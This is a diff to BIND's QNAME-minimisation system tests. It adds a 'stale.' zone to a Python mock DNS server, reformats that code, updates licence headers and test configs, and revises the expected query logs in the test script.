+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 from __future__ import print_function
 import os
@@ -31,6 +31,11 @@ def logquery(type, qname):
     with open("qlog", "a") as f:
         f.write("%s %s\n", type, qname)
 
+
+def endswith(domain, labels):
+    return domain.endswith("." + labels) or domain == labels
+
+
 ############################################################################
 # Respond to a DNS query.
 # For good. it serves:
@@ -44,12 +49,16 @@ def logquery(type, qname):
 # For bad. it works the same as for good., but returns NXDOMAIN to non-empty terminals
 #
 # For ugly. it works the same as for good., but returns garbage to non-empty terminals
+#
+# For stale. it serves:
+# a.b.stale. IN TXT hooray (resolver did do qname minimization)
 ############################################################################
 def create_response(msg):
     m = dns.message.from_wire(msg)
     qname = m.question[0].name.to_text()
     lqname = qname.lower()
-    labels = lqname.split('.')
+    labels = lqname.split(".")
+    suffix = ""
 
     # get qtype
     rrtype = m.question[0].rdtype
@@ -70,23 +79,83 @@ def create_response(msg):
 
     ip6req = False
 
-    if lqname.endswith("bad."):
+    if endswith(lqname, "bad."):
         bad = True
         suffix = "bad."
         lqname = lqname[:-4]
-    elif lqname.endswith("ugly."):
+    elif endswith(lqname, "ugly."):
         ugly = True
         suffix = "ugly."
         lqname = lqname[:-5]
-    elif lqname.endswith("good."):
+    elif endswith(lqname, "good."):
         suffix = "good."
         lqname = lqname[:-5]
-    elif lqname.endswith("slow."):
+    elif endswith(lqname, "slow."):
         slow = True
         suffix = "slow."
         lqname = lqname[:-5]
-    elif lqname.endswith("1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa."):
+    elif endswith(lqname, "1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa."):
         ip6req = True
+    elif endswith(lqname, "b.stale."):
+        if lqname == "a.b.stale.":
+            if rrtype == TXT:
+                # Direct query.
+                r.answer.append(dns.rrset.from_text(lqname, 1, IN, TXT, "hooray"))
+                r.flags |= dns.flags.AA
+            elif rrtype == NS:
+                # NS a.b.
+                r.answer.append(dns.rrset.from_text(lqname, 1, IN, NS, "ns.a.b.stale."))
+                r.additional.append(
+                    dns.rrset.from_text("ns.a.b.stale.", 1, IN, A, "10.53.0.3")
+                )
+                r.flags |= dns.flags.AA
+            elif rrtype == SOA:
+                # SOA a.b.
+                r.answer.append(
+                    dns.rrset.from_text(
+                        lqname, 1, IN, SOA, "a.b.stale. hostmaster.a.b.stale. 1 2 3 4 5"
+                    )
+                )
+                r.flags |= dns.flags.AA
+            else:
+                # NODATA.
+                r.authority.append(
+                    dns.rrset.from_text(
+                        lqname, 1, IN, SOA, "a.b.stale. hostmaster.a.b.stale. 1 2 3 4 5"
+                    )
+                )
+        elif lqname == "b.stale.":
+            if rrtype == NS:
+                # NS b.
+                r.answer.append(dns.rrset.from_text(lqname, 1, IN, NS, "ns.b.stale."))
+                r.additional.append(
+                    dns.rrset.from_text("ns.b.stale.", 1, IN, A, "10.53.0.4")
+                )
+                r.flags |= dns.flags.AA
+            elif rrtype == SOA:
+                # SOA b.
+                r.answer.append(
+                    dns.rrset.from_text(
+                        lqname, 1, IN, SOA, "b.stale. hostmaster.b.stale. 1 2 3 4 5"
+                    )
+                )
+                r.flags |= dns.flags.AA
+            else:
+                # NODATA.
+                r.authority.append(
+                    dns.rrset.from_text(
+                        lqname, 1, IN, SOA, "b.stale. hostmaster.b.stale. 1 2 3 4 5"
+                    )
+                )
+        else:
+            r.authority.append(
+                dns.rrset.from_text(
+                    lqname, 1, IN, SOA, "b.stale. hostmaster.b.stale. 1 2 3 4 5"
+                )
+            )
+            r.set_rcode(NXDOMAIN)
+            # NXDOMAIN.
+        return r
     else:
         r.set_rcode(REFUSED)
         return r
@@ -99,24 +168,67 @@ def create_response(msg):
         r.answer.append(dns.rrset.from_text(lqname + suffix, 1, IN, A, "192.0.2.2"))
         r.flags |= dns.flags.AA
     elif lqname == "icky.ptang.zoop.boing." and rrtype == NS:
-        r.answer.append(dns.rrset.from_text(lqname + suffix, 1, IN, NS, "a.bit.longer.ns.name."+suffix))
+        r.answer.append(
+            dns.rrset.from_text(
+                lqname + suffix, 1, IN, NS, "a.bit.longer.ns.name." + suffix
+            )
+        )
         r.flags |= dns.flags.AA
-    elif lqname.endswith("icky.ptang.zoop.boing."):
-        r.authority.append(dns.rrset.from_text("icky.ptang.zoop.boing." + suffix, 1, IN, SOA, "ns2." + suffix + " hostmaster.arpa. 2018050100 1 1 1 1"))
-        if bad or not "more.icky.icky.icky.ptang.zoop.boing.".endswith(lqname):
+    elif endswith(lqname, "icky.ptang.zoop.boing."):
+        r.authority.append(
+            dns.rrset.from_text(
+                "icky.ptang.zoop.boing." + suffix,
+                1,
+                IN,
+                SOA,
+                "ns2." + suffix + " hostmaster.arpa. 2018050100 1 1 1 1",
+            )
+        )
+        if bad or not endswith("more.icky.icky.icky.ptang.zoop.boing.", lqname):
             r.set_rcode(NXDOMAIN)
         if ugly:
             r.set_rcode(FORMERR)
     elif ip6req:
         r.flags |= dns.flags.AA
-        if lqname == "test1.test2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4.1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa." and rrtype == TXT:
-            r.answer.append(dns.rrset.from_text("test1.test2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4.1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.", 1, IN, TXT, "long_ip6_name"))
-        elif "0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4.1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.".endswith(lqname):
-            #NODATA answer
-            r.authority.append(dns.rrset.from_text("1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.", 60, IN, SOA, "ns4.good. hostmaster.arpa. 2018050100 120 30 320 16"))
+        if (
+            lqname
+            == "test1.test2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4.1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa."
+            and rrtype == TXT
+        ):
+            r.answer.append(
+                dns.rrset.from_text(
+                    "test1.test2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4.1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.",
+                    1,
+                    IN,
+                    TXT,
+                    "long_ip6_name",
+                )
+            )
+        elif endswith(
+            "0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.9.0.9.4.1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.",
+            lqname,
+        ):
+            # NODATA answer
+            r.authority.append(
+                dns.rrset.from_text(
+                    "1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.",
+                    60,
+                    IN,
+                    SOA,
+                    "ns4.good. hostmaster.arpa. 2018050100 120 30 320 16",
+                )
+            )
         else:
             # NXDOMAIN
-            r.authority.append(dns.rrset.from_text("1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.", 60, IN, SOA, "ns4.good. hostmaster.arpa. 2018050100 120 30 320 16"))
+            r.authority.append(
+                dns.rrset.from_text(
+                    "1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.",
+                    60,
+                    IN,
+                    SOA,
+                    "ns4.good. hostmaster.arpa. 2018050100 120 30 320 16",
+                )
+            )
             r.set_rcode(NXDOMAIN)
     else:
         r.set_rcode(REFUSED)
@@ -127,11 +239,12 @@ def create_response(msg):
 
 
 def sigterm(signum, frame):
-    print ("Shutting down now...")
-    os.remove('ans.pid')
+    print("Shutting down now...")
+    os.remove("ans.pid")
     running = False
     sys.exit(0)
 
+
 ############################################################################
 # Main
 #
@@ -142,8 +255,10 @@ def sigterm(signum, frame):
 ip4 = "10.53.0.4"
 ip6 = "fd92:7065:b8e:ffff::4"
 
-try: port=int(os.environ['PORT'])
-except: port=5300
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
 
 query4_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 query4_socket.bind((ip4, port))
@@ -161,17 +276,17 @@ def sigterm(signum, frame):
 
 signal.signal(signal.SIGTERM, sigterm)
 
-f = open('ans.pid', 'w')
+f = open("ans.pid", "w")
 pid = os.getpid()
-print (pid, file=f)
+print(pid, file=f)
 f.close()
 
 running = True
 
-print ("Listening on %s port %d" % (ip4, port))
+print("Listening on %s port %d" % (ip4, port))
 if havev6:
-    print ("Listening on %s port %d" % (ip6, port))
-print ("Ctrl-c to quit")
+    print("Listening on %s port %d" % (ip6, port))
+print("Ctrl-c to quit")
 
 if havev6:
     input = [query4_socket, query6_socket]
@@ -190,8 +305,9 @@ def sigterm(signum, frame):
 
     for s in inputready:
         if s == query4_socket or s == query6_socket:
-            print ("Query received on %s" %
-                    (ip4 if s == query4_socket else ip6), end=" ")
+            print(
+                "Query received on %s" % (ip4 if s == query4_socket else ip6), end=" "
+            )
             # Handle incoming queries
             msg = s.recvfrom(65535)
             rsp = create_response(msg[0])
diff --git a/bin/tests/system/qmin/clean.sh b/bin/tests/system/qmin/clean.sh
index 7e5a74d416..52c38e68ba 100644
--- a/bin/tests/system/qmin/clean.sh
+++ b/bin/tests/system/qmin/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,7 +13,7 @@
 
 rm -f ns*/named.conf
 rm -f */named.memstats
-rm -f */named.run
+rm -f */named.run */named.run.prev
 rm -f dig.out.*
 rm -f ns*/named.lock
 rm -f ans*/query.log*
diff --git a/bin/tests/system/qmin/ns1/named.conf.in b/bin/tests/system/qmin/ns1/named.conf.in
index 13e10aca48..e366ccaaa9 100644
--- a/bin/tests/system/qmin/ns1/named.conf.in
+++ b/bin/tests/system/qmin/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/qmin/ns1/root.db b/bin/tests/system/qmin/ns1/root.db
index 3b38a33bbd..325f607ee6 100644
--- a/bin/tests/system/qmin/ns1/root.db
+++ b/bin/tests/system/qmin/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -33,3 +35,7 @@ ns2.ugly.		A	10.53.0.2
 
 fwd.			NS	ns2.fwd.
 ns2.fwd.		A	10.53.0.2
+
+$TTL 2
+stale.			NS	ns2.stale.
+ns2.stale.		A	10.53.0.2
diff --git a/bin/tests/system/qmin/ns5/named.conf.in b/bin/tests/system/qmin/ns5/named.conf.in
index b4163ab066..d84d818a6e 100644
--- a/bin/tests/system/qmin/ns5/named.conf.in
+++ b/bin/tests/system/qmin/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,13 +24,13 @@ options {
 	recursion yes;
 	qname-minimization disabled;
 	querylog yes;
-	resolver-query-timeout 30;
+	resolver-query-timeout 30000; # 30 seconds
 	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/qmin/ns6/named.conf.in b/bin/tests/system/qmin/ns6/named.conf.in
index c5fe9adc60..828973cef5 100644
--- a/bin/tests/system/qmin/ns6/named.conf.in
+++ b/bin/tests/system/qmin/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,13 +24,13 @@ options {
 	recursion yes;
 	qname-minimization strict;
 	querylog yes;
-	resolver-query-timeout 30;
+	resolver-query-timeout 30000; # 30 seconds
 	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/qmin/ns7/named.conf.in b/bin/tests/system/qmin/ns7/named.conf.in
index 0f69d2d26b..8ca32750e3 100644
--- a/bin/tests/system/qmin/ns7/named.conf.in
+++ b/bin/tests/system/qmin/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,13 +24,13 @@ options {
 	recursion yes;
 	qname-minimization relaxed;
 	querylog yes;
-	resolver-query-timeout 30;
+	resolver-query-timeout 30000; # 30 seconds
 	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/qmin/setup.sh b/bin/tests/system/qmin/setup.sh
index 42bb7defd4..5825b3d5e5 100644
--- a/bin/tests/system/qmin/setup.sh
+++ b/bin/tests/system/qmin/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/qmin/tests.sh b/bin/tests/system/qmin/tests.sh
index 82eb657cbe..b8d31285c0 100755
--- a/bin/tests/system/qmin/tests.sh
+++ b/bin/tests/system/qmin/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -17,7 +21,7 @@ CLEANQL="rm -f ans*/query.log"
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .good is not minimized when qname-minimization is off ($n)"
 ret=0
 $CLEANQL
@@ -26,20 +30,20 @@ $DIG $DIGOPTS icky.icky.icky.ptang.zoop.boing.good. @10.53.0.5 > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.good. 1	IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sleep 1
-cat << __EOF | $DIFF ans2/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log - > /dev/null || ret=1
 ADDR icky.icky.icky.ptang.zoop.boing.good.
 ADDR ns3.good.
 ADDR ns3.good.
 ADDR a.bit.longer.ns.name.good.
 ADDR a.bit.longer.ns.name.good.
 __EOF
-echo "ADDR icky.icky.icky.ptang.zoop.boing.good." | $DIFF ans3/query.log - > /dev/null || ret=1
-echo "ADDR icky.icky.icky.ptang.zoop.boing.good." | $DIFF ans4/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.good." | diff ans3/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.good." | diff ans4/query.log - > /dev/null || ret=1
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .bad is not minimized when qname-minimization is off ($n)"
 ret=0
 $CLEANQL
@@ -48,20 +52,20 @@ $DIG $DIGOPTS icky.icky.icky.ptang.zoop.boing.bad. @10.53.0.5 > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.bad. 1 IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sleep 1
-cat << __EOF | $DIFF ans2/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log - > /dev/null || ret=1
 ADDR icky.icky.icky.ptang.zoop.boing.bad.
 ADDR ns3.bad.
 ADDR ns3.bad.
 ADDR a.bit.longer.ns.name.bad.
 ADDR a.bit.longer.ns.name.bad.
 __EOF
-echo "ADDR icky.icky.icky.ptang.zoop.boing.bad." | $DIFF ans3/query.log - > /dev/null || ret=1
-echo "ADDR icky.icky.icky.ptang.zoop.boing.bad." | $DIFF ans4/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.bad." | diff ans3/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.bad." | diff ans4/query.log - > /dev/null || ret=1
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .slow is not minimized when qname-minimization is off ($n)"
 ret=0
 $CLEANQL
@@ -71,20 +75,20 @@ sleep 5
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.slow. 1	IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sleep 1
-cat << __EOF | $DIFF ans2/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log - > /dev/null || ret=1
 ADDR icky.icky.icky.ptang.zoop.boing.slow.
 ADDR ns3.slow.
 ADDR ns3.slow.
 ADDR a.bit.longer.ns.name.slow.
 ADDR a.bit.longer.ns.name.slow.
 __EOF
-echo "ADDR icky.icky.icky.ptang.zoop.boing.slow." | $DIFF ans3/query.log - > /dev/null || ret=1
-echo "ADDR icky.icky.icky.ptang.zoop.boing.slow." | $DIFF ans4/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.slow." | diff ans3/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.slow." | diff ans4/query.log - > /dev/null || ret=1
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .ugly is not minimized when qname-minimization is off ($n)"
 ret=0
 $CLEANQL
@@ -94,20 +98,20 @@ sleep 5
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.ugly. 1	IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sleep 1
-cat << __EOF | $DIFF ans2/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log - > /dev/null || ret=1
 ADDR icky.icky.icky.ptang.zoop.boing.ugly.
 ADDR ns3.ugly.
 ADDR ns3.ugly.
 ADDR a.bit.longer.ns.name.ugly.
 ADDR a.bit.longer.ns.name.ugly.
 __EOF
-echo "ADDR icky.icky.icky.ptang.zoop.boing.ugly." | $DIFF ans3/query.log - > /dev/null || ret=1
-echo "ADDR icky.icky.icky.ptang.zoop.boing.ugly." | $DIFF ans4/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.ugly." | diff ans3/query.log - > /dev/null || ret=1
+echo "ADDR icky.icky.icky.ptang.zoop.boing.ugly." | diff ans4/query.log - > /dev/null || ret=1
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .good is properly minimized when qname-minimization is in strict mode ($n)"
 ret=0
 $CLEANQL
@@ -117,7 +121,7 @@ grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.good. 1	IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sleep 1
 sort ans2/query.log > ans2/query.log.sorted
-cat << __EOF | $DIFF ans2/query.log.sorted - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
 ADDR a.bit.longer.ns.name.good.
 ADDR a.bit.longer.ns.name.good.
 ADDR ns2.good.
@@ -127,21 +131,21 @@ NS boing.good.
 NS good.
 NS zoop.boing.good.
 __EOF
-cat << __EOF | $DIFF ans3/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans3/query.log - > /dev/null || ret=1
 NS zoop.boing.good.
 NS ptang.zoop.boing.good.
 NS icky.ptang.zoop.boing.good.
 __EOF
-cat << __EOF | $DIFF ans4/query.log - > /dev/null || ret=1
+cat << __EOF | diff ans4/query.log - > /dev/null || ret=1
 NS icky.ptang.zoop.boing.good.
 NS icky.icky.ptang.zoop.boing.good.
 ADDR icky.icky.icky.ptang.zoop.boing.good.
 __EOF
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .good is properly minimized when qname-minimization is in relaxed mode ($n)"
 ret=0
 $CLEANQL
@@ -151,28 +155,28 @@ grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.good. 1	IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sleep 1
 sort ans2/query.log > ans2/query.log.sorted
-cat << __EOF | $DIFF ans2/query.log.sorted - > /dev/null || ret=1
-ADDR _.boing.good.
-ADDR _.zoop.boing.good.
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
 ADDR a.bit.longer.ns.name.good.
 ADDR a.bit.longer.ns.name.good.
 ADDR ns2.good.
 ADDR ns3.good.
 ADDR ns3.good.
+NS boing.good.
+NS zoop.boing.good.
 __EOF
-cat << __EOF | $DIFF ans3/query.log - > /dev/null || ret=1
-ADDR _.ptang.zoop.boing.good.
-ADDR _.icky.ptang.zoop.boing.good.
+cat << __EOF | diff ans3/query.log - > /dev/null || ret=1
+NS ptang.zoop.boing.good.
+NS icky.ptang.zoop.boing.good.
 __EOF
-cat << __EOF | $DIFF ans4/query.log - > /dev/null || ret=1
-ADDR _.icky.icky.ptang.zoop.boing.good.
+cat << __EOF | diff ans4/query.log - > /dev/null || ret=1
+NS icky.icky.ptang.zoop.boing.good.
 ADDR icky.icky.icky.ptang.zoop.boing.good.
 __EOF
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .bad fails when qname-minimization is in strict mode ($n)"
 ret=0
 $CLEANQL
@@ -181,16 +185,16 @@ $DIG $DIGOPTS icky.icky.icky.ptang.zoop.boing.bad. @10.53.0.6 > dig.out.test$n
 grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
 sleep 1
 sort ans2/query.log > ans2/query.log.sorted
-cat << __EOF | $DIFF ans2/query.log.sorted - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
 ADDR ns2.bad.
 NS bad.
 NS boing.bad.
 __EOF
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .bad succeeds when qname-minimization is in relaxed mode ($n)"
 ret=0
 $CLEANQL
@@ -200,28 +204,26 @@ grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.bad. 1 IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sleep 1
 sort ans2/query.log > ans2/query.log.sorted
-cat << __EOF | $DIFF ans2/query.log.sorted - > /dev/null || ret=1
-ADDR _.boing.bad.
-ADDR _.zoop.boing.bad.
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
 ADDR a.bit.longer.ns.name.bad.
 ADDR a.bit.longer.ns.name.bad.
+ADDR icky.icky.icky.ptang.zoop.boing.bad.
 ADDR ns2.bad.
 ADDR ns3.bad.
 ADDR ns3.bad.
+NS boing.bad.
 __EOF
-cat << __EOF | $DIFF ans3/query.log - > /dev/null || ret=1
-ADDR _.ptang.zoop.boing.bad.
-ADDR _.icky.ptang.zoop.boing.bad.
+cat << __EOF | diff ans3/query.log - > /dev/null || ret=1
+ADDR icky.icky.icky.ptang.zoop.boing.bad.
 __EOF
-cat << __EOF | $DIFF ans4/query.log - > /dev/null || ret=1
-ADDR _.icky.icky.ptang.zoop.boing.bad.
+cat << __EOF | diff ans4/query.log - > /dev/null || ret=1
 ADDR icky.icky.icky.ptang.zoop.boing.bad.
 __EOF
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .ugly fails when qname-minimization is in strict mode ($n)"
 ret=0
 $CLEANQL
@@ -230,18 +232,17 @@ $DIG $DIGOPTS icky.icky.icky.ptang.zoop.boing.ugly. @10.53.0.6 > dig.out.test$n
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 sleep 1
 sort ans2/query.log > ans2/query.log.sorted
-cat << __EOF | $DIFF ans2/query.log.sorted - > /dev/null || ret=1
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
 ADDR ns2.ugly.
 NS boing.ugly.
-NS boing.ugly.
 NS ugly.
 __EOF
 for ans in ans2 ans3 ans4; do mv -f $ans/query.log query-$ans-$n.log 2>/dev/null || true; done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status+ret))
 $RNDCCMD 10.53.0.6 flush
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "query for .ugly succeeds when qname-minimization is in relaxed mode ($n)"
 ret=0
 $CLEANQL
@@ -250,33 +251,31 @@ $DIG $DIGOPTS icky.icky.icky.ptang.zoop.boing.ugly. @10.53.0.7 > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "icky.icky.icky.ptang.zoop.boing.ugly. 1	IN A	192.0.2.1" dig.out.test$n > /dev/null || ret=1
 sleep 1
-
 sort ans2/query.log > ans2/query.log.sorted
-cat << __EOF | $DIFF ans2/query.log.sorted - > /dev/null || cat ans2/query.log.sorted
-ADDR _.boing.ugly.
-ADDR _.boing.ugly.
+cat << __EOF | diff ans2/query.log.sorted - > /dev/null || ret=1
 ADDR a.bit.longer.ns.name.ugly.
 ADDR a.bit.longer.ns.name.ugly.
 ADDR icky.icky.icky.ptang.zoop.boing.ugly.
 ADDR ns2.ugly.
